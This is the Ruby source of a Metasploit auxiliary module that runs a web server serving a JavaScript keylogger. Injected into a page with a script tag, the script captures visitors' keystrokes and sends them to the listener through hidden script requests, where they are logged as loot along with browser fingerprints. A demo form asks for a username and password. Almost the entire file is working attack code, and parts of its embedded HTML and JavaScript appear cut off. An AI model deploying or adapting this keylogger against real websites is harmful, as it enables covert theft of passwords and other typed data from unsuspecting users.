## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Capture: HTTP JavaScript Keylogger', 'Description' => %q{ This modules runs a web server that demonstrates keystroke logging through JavaScript. The DEMO option can be set to enable a page that demonstrates this technique. Future improvements will allow for a configurable template to be used with this module. To use this module with an existing web page, simply add a script source tag pointing to the URL of this service ending in the .js extension. For example, if URIPATH is set to "test", the following URL will load this script into the calling site: http://server:port/test/anything.js }, 'License' => MSF_LICENSE, 'Author' => ['Marcus J. Carey ', 'hdm'] )) register_options( [ OptBool.new('DEMO', [true, "Creates HTML for demo purposes", false]), ], self.class) end # This is the module's main runtime method def run @seed = Rex::Text.rand_text_alpha(12) @client_cache = {} # Starts Web Server print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...") exploit end # This handles the HTTP responses for the Web server def on_request_uri(cli, request) cid = nil if request['Cookie'].to_s =~ /,?\s*id=([a-f0-9]{4,32})/i cid = $1 end if not cid and request.qstring['id'].to_s =~ /^([a-f0-9]{4,32})/i cid = $1 end data = request.qstring['data'] unless cid cid = generate_client_id(cli,request) print_status("Assigning client identifier '#{cid}'") resp = create_response(302, 'Moved') resp['Content-Type'] = 'text/html' resp['Location'] = request.uri + '?id=' + cid resp['Set-Cookie'] = "id=#{cid}" cli.send_response(resp) return end base_url = generate_base_url(cli, request) #print_status("#{cli.peerhost} [#{cid}] Incoming #{request.method} request for #{request.uri}") case request.uri when /\.js(\?|$)/ content_type = "text/plain" send_response(cli, generate_keylogger_js(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"}) when /\/demo\/?(\?|$)/ if datastore['DEMO'] content_type = "text/html" send_response(cli, generate_demo(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"}) else send_not_found(cli) end else if data nice = process_data(cli, request, cid, data) script = datastore['DEMO'] ? generate_demo_js_reply(base_url, cid, nice) : "" send_response(cli, script, {'Content-Type' => "text/plain", 'Set-Cookie' => "id=#{cid}"}) else if datastore['DEMO'] send_redirect(cli, "/demo/?cid=#{cid}") else send_not_found(cli) end end end end # Figure out what our base URL is based on the user submitted # Host header or the address of the client. def generate_base_url(cli, req) port = nil host = Rex::Socket.source_address(cli.peerhost) if req['Host'] host = req['Host'] bits = host.split(':') # Extract the hostname:port sequence from the Host header if bits.length > 1 and bits.last.to_i > 0 port = bits.pop.to_i host = bits.join(':') end else port = datastore['SRVPORT'].to_i end prot = (!! datastore['SSL']) ? 'https://' : 'http://' if Rex::Socket.is_ipv6?(host) host = "[#{host}]" end base = prot + host if not ((prot == 'https' and port.nil?) or (prot == 'http' and port.nil?)) base << ":#{port}" end base << get_resource end def process_data(cli, request, cid, data) lines = [""] real = "" Rex::Text.uri_decode(data).split(",").each do |char| byte = char.to_s.hex.chr next if byte == "\x00" real << byte case char.to_i # Do Backspace when 8 lines[-1] = lines[-1][0, lines[-1].length - 1] if lines[-1].length > 0 when 13 lines << "" else lines[-1] << byte end end nice = lines.join("").gsub("\t", "") real = real.gsub("\x08", "") if not @client_cache[cid] fp = fingerprint_user_agent(request['User-Agent'] || "") header = "Browser Keystroke Log\n" header << "=====================\n" header << "Created: #{Time.now.to_s}\n" header << "Address: #{cli.peerhost}\n" header << " ID: #{cid}\n" header << " FPrint: #{fp.inspect}\n" header << " URL: #{request.uri}\n" header << "\n" header << "====================\n\n" @client_cache[cid] = { :created => Time.now.to_i, :path_clean => store_loot("browser.keystrokes.clean", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Clean)"), :path_raw => store_loot("browser.keystrokes.raw", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Raw)") } print_good("[#{cid}] Logging clean keystrokes to: #{@client_cache[cid][:path_clean]}") print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}") end ::File.open( @client_cache[cid][:path_clean], "ab") { |fd| fd.puts nice } ::File.open( @client_cache[cid][:path_raw], "ab") { |fd| fd.write(real) } if nice.length > 0 print_good("[#{cid}] Keys: #{nice}") end nice end def generate_client_id(cli, req) "%.8x" % Kernel.rand(0x100000000) end def generate_demo(base_url, cid) # This is the Demo Form Page html = < Demo Form

Keylogger Demo Form

This form submits data to the Metasploit listener for demonstration purposes.

Username:
Password:


EOS return html end # This is the JavaScript Key Logger Code def generate_keylogger_js(base_url, cid) targ = Rex::Text.rand_text_alpha(12) code = <"); else { f#{@seed} = document.createElement("script"); f#{@seed}.setAttribute("id", t#{@seed}); f#{@seed}.setAttribute("name", t#{@seed}); } f#{@seed}.setAttribute("src", "#{base_url}?id=#{cid}&data=" + l#{@seed}); f#{@seed}.style.visibility = "hidden"; document.body.appendChild(f#{@seed}); if (k#{@seed} == 13 || l#{@seed}.length > 3000) l#{@seed} = ","; setTimeout('document.body.removeChild(document.getElementById("' + t#{@seed} + '"))', 5000); } EOS return code end def generate_demo_js_reply(base_url, cid, data) code = <